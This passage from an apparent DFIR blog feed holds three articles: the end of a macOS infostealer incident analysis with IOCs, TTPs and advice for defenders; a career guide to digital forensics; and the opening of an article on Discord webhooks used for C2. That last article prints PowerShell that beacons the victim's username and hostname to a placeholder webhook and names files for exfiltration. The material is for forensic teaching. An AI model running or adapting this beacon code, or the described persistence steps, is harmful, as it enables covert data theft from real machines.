&lt;li&gt;Uses the captured password (piped into sudo -S) to copy that plist into /Library/LaunchDaemons/com.finder.helper.plist.&lt;/li&gt;
&lt;li&gt;Sets the plist owner to root:wheel, so it’s a system LaunchDaemon.&lt;/li&gt;
&lt;li&gt;Loads the LaunchDaemon with launchctl load, establishing persistence so the malware can start automatically.&lt;/li&gt;
&lt;li&gt;Starts the bot/agent immediately in the background using nohup … &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp; to detach and hide output.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Analysis of this malware also identified cleanup processes built into the script, set to remove all newly created files and artefacts from the device:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/14-ca1a7ea8.webp&quot; alt=&quot;AppleScript cleanup routine deleting the stored username and password files and the out.zip archive&quot; width=&quot;861&quot; height=&quot;705&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;h2 id=&quot;the-cleanup-does-the-following&quot;&gt;The cleanup does the following:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Deletes the previously stored username and password files (.username and .pass) from the hidden directory.&lt;/li&gt;
&lt;li&gt;Writes the captured login and password to new files .username and .pass for future use.&lt;/li&gt;
&lt;li&gt;Replaces an existing app with a malicious one that uses the stolen password and bot URL.&lt;/li&gt;
&lt;li&gt;Installs the malware (bot) and sets it to run in the background.&lt;/li&gt;
&lt;li&gt;Removes temporary files such as writemind and /tmp/out.zip to clean up traces.&lt;/li&gt;
&lt;li&gt;The malware is then detached to run independently in the background (&amp;amp;), ensuring it continues executing even if the current process ends.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In essence, this is about cleaning up traces of the attack, saving sensitive data (username and password), installing the malicious bot, and ensuring it runs silently in the background.&lt;/p&gt;
&lt;p&gt;Here are the IOCs and TTPs you should be aware of for this attack:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Table 1: IOCs&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Indicator&lt;/td&gt;&lt;td&gt;Description&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;File&lt;/td&gt;&lt;td&gt;/tmp/out.zip&lt;/td&gt;&lt;td&gt;Archive file created by script for exfiltration&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;File&lt;/td&gt;&lt;td&gt;/tmp/.pass&lt;/td&gt;&lt;td&gt;Temporarily stored user password for use in script&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;File&lt;/td&gt;&lt;td&gt;/tmp/.username&lt;/td&gt;&lt;td&gt;Password written back to profile during persistency setup&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;File&lt;/td&gt;&lt;td&gt;/Library/LaunchDaemons/com.finder.helper.plist&lt;/td&gt;&lt;td&gt;Persistence mechanism via LaunchDaemon.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Script&lt;/td&gt;&lt;td&gt;/users/[user]/.agent&lt;/td&gt;&lt;td&gt;Background AppleScript loop executing malware payload.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Binary&lt;/td&gt;&lt;td&gt;/Users/[user].helper&lt;/td&gt;&lt;td&gt;Persistency malware downloaded by script.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Domain&lt;/td&gt;&lt;td&gt;stanprinston.com&lt;/td&gt;&lt;td&gt;Hosting malicious payload (/zxc/app)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;IP address&lt;/td&gt;&lt;td&gt;45.94.47.145&lt;/td&gt;&lt;td&gt;Command and Control server used for data exfiltration&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;IP address&lt;/td&gt;&lt;td&gt;104.21.45.139&lt;/td&gt;&lt;td&gt;Download location for the malware binary&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;URL&lt;/td&gt;&lt;td&gt;https://stanprinston.com/zxc/app&lt;/td&gt;&lt;td&gt;Download location for the malware binary&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Table 2: TTPs&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Technique ID&lt;/th&gt;
&lt;th&gt;Technique Name&lt;/th&gt;
&lt;th&gt;Context&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;T1059.002&lt;/td&gt;
&lt;td&gt;Command and Scripting Interpreter: AppleScript&lt;/td&gt;
&lt;td&gt;Used to execute malicious logic.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1547.001&lt;/td&gt;
&lt;td&gt;Boot or Logon Autostart Execution: Launch Daemon&lt;/td&gt;
&lt;td&gt;Used for persistence.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1070.004&lt;/td&gt;
&lt;td&gt;Indicator Removal on Host: File Deletion&lt;/td&gt;
&lt;td&gt;Bash/zsh history cleared.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1119&lt;/td&gt;
&lt;td&gt;Automated Collection&lt;/td&gt;
&lt;td&gt;Browsers, files, and app data targeted.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1005&lt;/td&gt;
&lt;td&gt;Data from Local System&lt;/td&gt;
&lt;td&gt;Copied and zipped for exfiltration.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1567.002&lt;/td&gt;
&lt;td&gt;Exfiltration Over Web Service&lt;/td&gt;
&lt;td&gt;Attempted data upload via HTTP POST.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1552.001&lt;/td&gt;
&lt;td&gt;Unsecured Credentials: Bash History&lt;/td&gt;
&lt;td&gt;Attempted to collect stored credentials.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1548.003&lt;/td&gt;
&lt;td&gt;Abuse Elevation Control Mechanism: Sudo and login -pf&lt;/td&gt;
&lt;td&gt;Used to elevate without prompt.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;what-defenders-should-take-away&quot;&gt;What defenders should take away&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Treat terminal one-liners as initial access. If users can paste and run scripts, you need visibility and controls around that&lt;/li&gt;
&lt;li&gt;Credential prompts are part of the chain. Watch for local credential validation patterns followed by privileged execution&lt;/li&gt;
&lt;li&gt;Staging + compression into a single archive (e.g. /tmp/out.zip) is a strong indicator you’re close to exfil&lt;/li&gt;
&lt;li&gt;Egress filtering changes outcomes. Endpoint telemetry will tell you it tried, egress controls decide whether it succeeds&lt;/li&gt;
&lt;li&gt;Persistence is a useful tripwire. New LaunchDaemons/suspicious plists created shortly after collection/exfil activity are telltale signs&lt;/li&gt;
&lt;li&gt;Cleanup behaviour is a detection too. Deleting archives, staging folders, and shell history often correlates with the end of the chain&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This incident shows what made infostealers so popular in 2025.&lt;/p&gt;
&lt;p&gt;They don’t rely on tooling, just one simple trick: get the user to run a command. That is often enough. From there, the attacker is hoping to obtain credentials, reuse them for privileged actions, collect and ultimately steal sensitive data .&lt;/p&gt;
&lt;p&gt;The takeaway here is that the tradecraft is getting more efficient, with quicker execution and fewer moving parts, relying on normal behaviours and native utilities.&lt;/p&gt;
&lt;p&gt;Luckily, in this case, network egress controls blocked the attempted exfiltration. However, the story could have ended differently.&lt;/p&gt;
</content:encoded><dc:creator>Joseph Williams</dc:creator><category>Threat Analysis</category><category>infostealers</category><category>credentials</category><category>threat landscape</category></item><item><title>Finding your path into DFIR</title><link>https://jwdfir.com/articles/finding-your-path-into-dfir/</link><guid isPermaLink="true">https://jwdfir.com/articles/finding-your-path-into-dfir/</guid><description>Advice on getting into digital forensics and incident response: degrees, law enforcement experience, the skills to build and what the job is really like.</description><pubDate>Tue, 11 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;How you go about learning about the fundamentals of DFIR&lt;/li&gt;
&lt;li&gt;Curiosity, discipline, and passion are the markers for a successful DFIR analyst&lt;/li&gt;
&lt;li&gt;DFIR is a team’s game, nobody masters it all&lt;/li&gt;
&lt;li&gt;It’s never been easier to learn, and there’s a strong community to help you.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Digital Forensics and Incident Response (DFIR) has a certain appeal to aspiring cybersecurity professionals. The mix of ‘CSI-style’ forensic investigations with the chaos and pressure of incident response engagements.&lt;/p&gt;
&lt;p&gt;If you possess a natural curiosity and have a passion for uncovering the ‘why’ and ‘how,’ you are likely to thrive in the field of DFIR.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What can an academic path into DFIR look like?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Well, I started my ‘cyber’ journey studying for a computer science diploma, I didn’t know what forensics was at that time. It wasn’t until searching for university courses that I came across a bachelor’s degree titled ‘Digital Forensics’ – as you will all agree, it sounds cool. I immediately fell in love with the field and later continued, studying a master’s degree in ‘Advanced Security and Digital Forensics’.&lt;/p&gt;
&lt;p&gt;I still remember my first year of learning about steganography (hiding data inside images) and mobile forensics, where I learnt how to extract data, recover deleted messages, and piece together user activity from forensic artefacts left behind. However, the real value wasn’t just the ‘cool’ modules.&lt;/p&gt;
&lt;p&gt;What the degree gave me was a solid foundation in how operating systems handle files, what “deleted” really means at a disk level, how artefacts are created and modified and why a computer behaves the way it does. Those fundamentals shape how your brain thinks, it helps you ask yourself the right questions: Where would this data live? What would create this artefact? What am I really looking at?&lt;/p&gt;
&lt;p&gt;Without this understanding, you are just pressing buttons and relying on what the tool gives you. Remember, you can’t investigate what you don’t understand.&lt;/p&gt;
&lt;p&gt;Cloud, Network, Mobile, Computer and IoT forensics. You could throw the word ‘forensics’ onto anything and I would be interested. Each area comes with its own nuance. Networks leaving behind trails of packets to reconstruct, mobiles hiding data in obscure SQLite databases and IoT devices holding storage you’d never expect to see. But the overall concept is simple, the data tells a story, you just need to know where to look.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Starting out in DFIR&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you’re looking to get hands-on experience in digital forensics, starting in law enforcement can be an excellent route. It’s where many professionals first learn the practical side of evidence handling and investigation.&lt;/p&gt;
&lt;p&gt;Law enforcement was where I gained my first practical experience in the field. I spent two years signing tamper evident bags, taking photographs, stripping down laptops and acquiring hard drives that could then be investigated further. It wasn’t ‘sexy’, but it drilled the golden rule of forensics into me, preserve the evidence and also important foundations of the field, such as confidentiality and integrity.&lt;/p&gt;
&lt;p&gt;As you progress, you take on more specialised roles. For many people, that might mean going from stripping laptops to examining mobile devices. You’re not just removing hard drives anymore, you’re extracting data from mobile devices, recovering deleted messages and analysing encrypted applications. You might begin analysing disk images, pulling storage from drones, examining routers, stripping and parsing data from cars, or reviewing artefacts from home IoT devices.&lt;/p&gt;
&lt;p&gt;Every device comes with its own artefacts, it’s own quirks, and it’s your job to understand how each of them stores, modifies and ‘destroys’ data. The more you ‘do’, the more instinctive you become.&lt;/p&gt;
&lt;p&gt;One of the most daunting, but strangely thrilling, parts of the job was giving expert testimony in Crown Court. I was tasked with explaining complex, technical findings to a jury – which no certificate can prepare you for.&lt;/p&gt;
&lt;p&gt;I have seen things that I can’t write about in a blog post and examined devices at murder scenes, but all in all, the job satisfaction you gain from the back of that is invaluable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The private Industry&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;After years in law enforcement, I made the move into the private sector, and the change of tempo was evident. In policing, the thoroughness is everything, so you can build a watertight case that can stand up in court.&lt;/p&gt;
&lt;p&gt;However, in consultancy, when a client is actively under attack, they don’t want to know what extraction you can obtain from a device or how many devices you can acquire. Their first questions are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Are the attackers still there?&lt;/li&gt;
&lt;li&gt;How did they get in?&lt;/li&gt;
&lt;li&gt;What have they taken?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Analysing volatile evidence in the wild before it vanishes brings another level of pressure.&lt;/p&gt;
&lt;p&gt;The skill in Incident Response is knowing what matters right now.&lt;/p&gt;
&lt;p&gt;The technical scope widens massively, it’s no longer just devices that you have in your possession, evidence lives everywhere. Forget about that working-copy disk containing your extractions and think about the data that lives in the cloud, in email tenants, identity systems and servers. Forget acquiring and investigating one laptop, how about piecing together an investigation that stretches across twenty platforms and thousands of endpoints, all whilst the attacker is still moving in the estate.&lt;/p&gt;
&lt;p&gt;What doesn’t change, though, are the fundamentals: confidentiality and integrity.&lt;/p&gt;
&lt;p&gt;Whether you’re standing up in Crown Court or briefing a regulator, the principle is the same, your work needs to be defensible, repeatable, and clear.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The many sides of the DFIR dodecagon&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let’s be honest, DFIR is challenging. It’s a field where you need a solid team around you. There are so many facets to the field that you can’t do it alone… I can’t think of one analyst that can do all the below to a perfect standard, I definitely couldn’t do it all alone! You’ve got…&lt;/p&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Windows Forensics&lt;/td&gt;&lt;td&gt;Mobile Forensics&lt;/td&gt;&lt;td&gt;IoT Forensics&lt;/td&gt;&lt;td&gt;Network Forensics&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Memory Forensics&lt;/td&gt;&lt;td&gt;Linux Forensics&lt;/td&gt;&lt;td&gt;macOS Forensics&lt;/td&gt;&lt;td&gt;IR Leadership&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Case Management&lt;/td&gt;&lt;td&gt;Communication&lt;/td&gt;&lt;td&gt;Documentation&lt;/td&gt;&lt;td&gt;OSINT&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Cloud Forensics&lt;/td&gt;&lt;td&gt;Malware Analysis&lt;/td&gt;&lt;td&gt;Threat Hunting&lt;/td&gt;&lt;td&gt;Reverse Engineering&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Incident Response&lt;/td&gt;&lt;td&gt;SIEM Analysis&lt;/td&gt;&lt;td&gt;Legal Awareness&lt;/td&gt;&lt;td&gt;Investigative Skills&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;And much more…&lt;/p&gt;
&lt;p&gt;That list might look overwhelming (it should do), but it has never been easier to start learning. The DFIR community is generous. There is so much free content out there, that if you are genuinely passionate about the field, you will succeed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is my advice to someone starting out?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you’re just starting out, don’t overthink it. Pick an area that grabs your attention and start playing around with it. Set up your virtual machine, download some forensic tools and images, review your own logs, dump your memory, and just get started. Focus on understanding what the data means, not just which tool or button extracts it.&lt;/p&gt;
&lt;p&gt;I can’t stress enough how (and I know I’ve said this a million times already) being curious and passionate will take you further in this field than any certification ever will. Ask questions, share your findings and learn from people who’ve been there. Everyone in DFIR started by not knowing; as much as some people might make you think otherwise, ignore them and just get started!&lt;/p&gt;
&lt;p&gt;You’ve got forums, open-source tools, blogs and communities that are all freely available. Here’s some of the content I have found useful in the past (and still do).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The DFIR community&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.forensicfocus.com/&quot;&gt;Forensic Focus – forum covering tools, workflows, and discussion&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/@13Cubed&quot;&gt;13Cubed – lots of useful content and deep dives into DFIR.&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/@MyDFIR&quot;&gt;MyDFIR – short, practical video tips and workflows.&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.brettshavers.com/&quot;&gt;Brett Shavers – veteran analyst sharing blogs, books, and resources.&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://windowsir.blogspot.com/&quot;&gt;Harlan Carvey – tool creator, book writer and blogger.&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/Digital-Forensics-Discord-Server&quot;&gt;Digital Forensics Discord – active community for live Q&amp;amp;A and peer support.&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://dfirdiva.com/&quot;&gt;DFIR Diva – curated hub of free training, blogs, and guides.&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://aboutdfir.com/&quot;&gt;AboutDFIR – directory of training, jobs, and research.&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.stark4n6.com/&quot;&gt;Stark4n6 – technical blogs focused on mobile and cloud artefacts.&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://thedfirreport.com/&quot;&gt;The DFIR Report – real-world intrusion write-ups and blogs.&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.sans.org/cybersecurity-focus-areas/digital-forensics-incident-response&quot;&gt;SANS DFIR – free talks, blogs, and conference content.&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://dfir.training/&quot;&gt;DFIR.Training – collection of tools, challenges, and learning resources.&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://thisweekin4n6.com/&quot;&gt;ThisWeekIn4n6 – weekly roundup of digital forensic and incident response news.&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Hands-on platforms&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://academy.hackthebox.com/dashboard&quot;&gt;Hack The Box – Cybersecurity labs, challenges and CTFs&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://tryhackme.com/&quot;&gt;TryHackMe – Cybersecurity labs, walkthroughs and CTFs&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://blueteamlabs.online/&quot;&gt;Blue Team Online – defensive-focused challenges and labs.&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://cyberdefenders.org/&quot;&gt;CyberDefenders – free DFIR CTFs and investigation scenarios.&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Tools and practice images&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://ericzimmerman.github.io/&quot;&gt;Eric Zimmerman’s Suite – go-to tools for Windows forensics and triage.&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/volatilityfoundation/volatility3&quot;&gt;Volatility 2/3 – standard framework for memory forensics.&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.sleuthkit.org/&quot;&gt;Autopsy (Sleuth Kit) – open-source suite for disk and file analysis.&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.wireshark.org/&quot;&gt;Wireshark – essential for packet capture and network analysis.&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://thebinaryhick.blog/public_images/&quot;&gt;Josh Hickman’s Images – realistic forensic images for practice.&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And again, there’s many more…&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Final thoughts&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;DFIR is challenging, but it’s also one of the most rewarding paths in cybersecurity. You will never master everything, and that’s ok, no one does.&lt;/p&gt;
&lt;p&gt;What matters is curiosity, discipline, and passion.&lt;/p&gt;
&lt;p&gt;Curiosity keeps you asking why until the evidence gives you answers. Discipline makes sure your work stands up to scrutiny. And passion is what carries you through the long nights, the tough cases, and the constant evolution of the field.&lt;/p&gt;
&lt;p&gt;Just remember, if you’re curious and love finding the why and how, you’ll do well in DFIR.&lt;/p&gt;
</content:encoded><dc:creator>Joseph Williams</dc:creator><category>Career</category><category>career</category><category>training</category><category>certifications</category></item><item><title>Discord as a C2 and the cached evidence left behind</title><link>https://jwdfir.com/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/</link><guid isPermaLink="true">https://jwdfir.com/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/</guid><description>How Discord webhooks can be abused for C2 and data exfiltration, what Discord&apos;s local cache keeps, and how to parse it for forensic evidence.</description><pubDate>Tue, 16 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;tldr&quot;&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Discord abused as a lightweight C2 channel for data exfiltration and beaconing&lt;/li&gt;
&lt;li&gt;What the cache leaves behind, and how we can analyse it&lt;/li&gt;
&lt;li&gt;Automating Cache Analysis with a CLI parser and a GUI -Based Suite for forensic analysis&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;why-discord-appeals-to-attackers&quot;&gt;Why Discord appeals to attackers&lt;/h2&gt;
&lt;p&gt;Discord has become an attractive tool for attackers not because it’s malicious, but because it’s legitimate and trusted. It often flies under the radar of security controls and offers features that make it easy to send data out without user interaction or elevated permissions. We’ve seen similar misuse across other collaboration tools too, like Microsoft Teams and Slack.&lt;/p&gt;
&lt;p&gt;In this blog post, we’re not looking at memory forensics, network telemetry or host-based logging, instead we’re focusing on the cached artifacts left behind when Discord webhooks are used for C2 and exfiltration.&lt;/p&gt;
&lt;p&gt;Rather than spinning up a full bot, we’re keeping it simple, just using webhooks to push data out of a compromised host to a Discord channel. This mirrors what you’d expect to see from your typical script kiddie, no API keys, no elevated perms, just a URL and some PowerShell. The goal here is to show not just how it works, but also what evidence remains in Discord’s local cache, and how defenders can analyse it.&lt;/p&gt;
&lt;h2 id=&quot;using-discord-webhooks-for-command-and-control&quot;&gt;Using Discord webhooks for command and control&lt;/h2&gt;
&lt;p&gt;A webhook is basically a glorified URL that lets you send messages and files straight to a Discord channel, whatever you send to that URL will show up in the associated channel.&lt;/p&gt;
&lt;p&gt;For attackers, that’s handy because it’s easy to set up, doesn’t need any special permissions and hides in plain sight. We have set up the webhook in this instance so that it acts as the attackers’ C2 server, where the stolen information from our victim’s machine gets sent to.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/01-5130bcdb.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/w800/01-5130bcdb.webp 800w, https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/01-5130bcdb.webp 1495w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/01-5130bcdb.webp&quot; alt=&quot;Figure 1: Webhook&quot; width=&quot;1495&quot; height=&quot;837&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 1: Webhook&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Below is our sample C2 server, the channel ‘ptp-beacon’ is where all the output from the PowerShell commands will appear.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/02-8cce9932.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/w800/02-8cce9932.webp 800w, https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/02-8cce9932.webp 1419w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/02-8cce9932.webp&quot; alt=&quot;Figure 2: C2 Server&quot; width=&quot;1419&quot; height=&quot;682&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 2: C2 Server&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2 id=&quot;powershell-in-action&quot;&gt;PowerShell in action&lt;/h2&gt;
&lt;p&gt;Below are the PowerShell commands that handle script setup, beaconing to the host, file enumeration, reconnaissance, and data exfiltration. Each command is sent to the webhook we set up earlier via PowerShell, which then delivers the results straight into the Discord server:&lt;/p&gt;
&lt;h3 id=&quot;script-initialization&quot;&gt;Script initialization&lt;/h3&gt;
&lt;pre class=&quot;language-powershell&quot; data-language=&quot;powershell&quot;&gt;&lt;code class=&quot;language-powershell&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 1. Discord webhook&lt;/span&gt;
&lt;span class=&quot;token variable&quot;&gt;$webhook&lt;/span&gt; = &lt;span class=&quot;token string&quot;&gt;&quot;https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 2. Path to exfiltration target file&lt;/span&gt;
&lt;span class=&quot;token variable&quot;&gt;$filePath&lt;/span&gt; = &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;$env&lt;/span&gt;:USERPROFILE\Documents\SENSITIVE_FILES_HERE&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 3. Create HTTP client and counter&lt;/span&gt;
&lt;span class=&quot;token variable&quot;&gt;$client&lt;/span&gt; = &lt;span class=&quot;token function&quot;&gt;New-Object&lt;/span&gt; System&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Net&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;HttpClient
&lt;span class=&quot;token variable&quot;&gt;$counter&lt;/span&gt; = 0&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;beaconing-loop&quot;&gt;Beaconing loop&lt;/h3&gt;
&lt;pre class=&quot;language-powershell&quot; data-language=&quot;powershell&quot;&gt;&lt;code class=&quot;language-powershell&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;$true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token variable&quot;&gt;$counter&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# ─── 1. Beacon ─────────────────────────────────────────────&lt;/span&gt;
    &lt;span class=&quot;token variable&quot;&gt;$json&lt;/span&gt; = &lt;span class=&quot;token string&quot;&gt;&apos;{&quot;content&quot;:&quot;━━━━━━━━━━━━━━━━━━\n:satellite: **Beacon Active**\n```User: &apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$env&lt;/span&gt;:USERNAME &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;\nHost: &apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$env&lt;/span&gt;:COMPUTERNAME &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;```&quot;}&apos;&lt;/span&gt;
